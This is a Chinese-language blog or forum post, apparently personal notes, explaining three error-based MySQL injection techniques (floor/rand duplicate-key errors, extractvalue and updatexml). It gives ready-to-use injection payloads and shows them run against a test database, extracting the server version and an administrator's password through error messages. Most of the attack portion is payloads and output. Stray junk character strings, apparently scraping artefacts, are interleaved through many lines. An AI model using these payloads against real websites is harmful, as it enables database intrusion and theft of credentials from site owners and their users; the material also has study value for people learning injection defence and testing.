关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
, U( l1 C/ Q' f. I# u( J) W; _实际测试环境：
​

mysql> show tables;
; o! r* x  a" }7 g  f+----------------+
' T6 I9 F: A9 e) I: E| Tables_in_test |
+----------------+
. j( b8 n8 N0 F* U) T4 z9 Q| admin          |
| article        |
+----------------+

. d, F# B0 J. h# b3 F
. Z% k! q& C4 `2 b  P8 J9 o
8 K7 B& ~4 r. U9 u" Z, \% jmysql> describe admin;
% x) b1 R% V3 }5 j; I' c5 o+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
: v% k* I' s0 @; m7 g4 q& t| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
) M' Z* N7 |$ [$ c| user  | varchar(50)      | NO   |     | NULL    |                |
9 }& M( U- S  ~' p| pass  | varchar(50)      | NO   |     | NULL    |                |
9 A1 x3 ]" {) b2 [$ p+-------+------------------+------+-----+---------+----------------+
  P9 b4 d& _# ^' B8 O# Q- ^; E. X) i


mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
' k5 z+ J: |! A9 }- i' N+---------+------------------+------+-----+---------+----------------+
6 o' n5 t- g. `| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
: e6 P% y  x& d| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
# v+ K* j0 b/ p6 X* _+ U+---------+------------------+------+-----+---------+----------------+
6 ^, d5 i! h5 e# E3 s* P1、通过floor报错
5 i* O& {2 S0 O: B+ {4 F$ Y可以通过如下一些利用代码

  m: I, c0 q' A/ E8 x% B+ _
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);


and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
0 x. L5 P# [' z2 s! nfloor(rand(0)*2)));
9 Y1 k" C. H# e$ }9 W6 g9 J举例如下：
首先进行正常查询：

  v" c& w& d( u* l2 Pmysql> select * from article where id = 1;
8 y& L7 B# ~  B9 H) l+----+-------+---------+
| id | title | content |
2 v* S0 {: G- j$ I- S+----+-------+---------+
$ J3 R, H+ [2 j. e$ n8 i) t|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
; @3 m# y+ h" L9 G5 e6 p
; {3 _9 O/ n+ ]  O0 \# m' y" V
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
) W. J# }: n6 Y* M( vERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
* k2 L0 W& v1 o+ [可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
! e0 E. k% {4 ]* X6 W* m+ A: FMethod1:
" G. ]8 J% _$ k0 T$ I* s3 r; j
+ {9 z/ q) @8 |4 {* u5 [
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
9 h5 G% Z9 ]/ aMethod2:

* T# P" M% q; I3 z- S2 l
8 }0 ~: L2 h$ C0 W1 L  A6 rmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
+ N: ^( ?2 v- r4 k4 E0 S- q  q' PERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
, I/ f8 \' \; i! K8 G2、ExtractValue
测试语句如下
6 K2 x6 Y  O" z3 L1 z& W9 G1 N
1 e3 K: P& x4 F6 S" G
4 `! s# Z2 M' T" k6 l5 [- t5 z$ Cand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程


mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
: y, l% {: Y) ?; x4 I5 m* P(select pass from admin limit 1)));--
8 {# d- [8 N$ x0 q) BERROR 1105 (HY000): XPATH syntax error: '\admin888'
. }2 _" s+ K* O: z6 S; G; B( i3、UpdateXml
0 ^* T* h8 {( L2 ]# ^. A3 l6 J测试语句
/ a; Y! k. u4 z7 J) v1 _& v: a

and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
' @) h. p* s' C3 R: m实际测试过程
: j% P% N0 o6 k" J

& q  L) C8 W; `  zmysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

​
* r. k& ^; S/ z7 r5 ]; T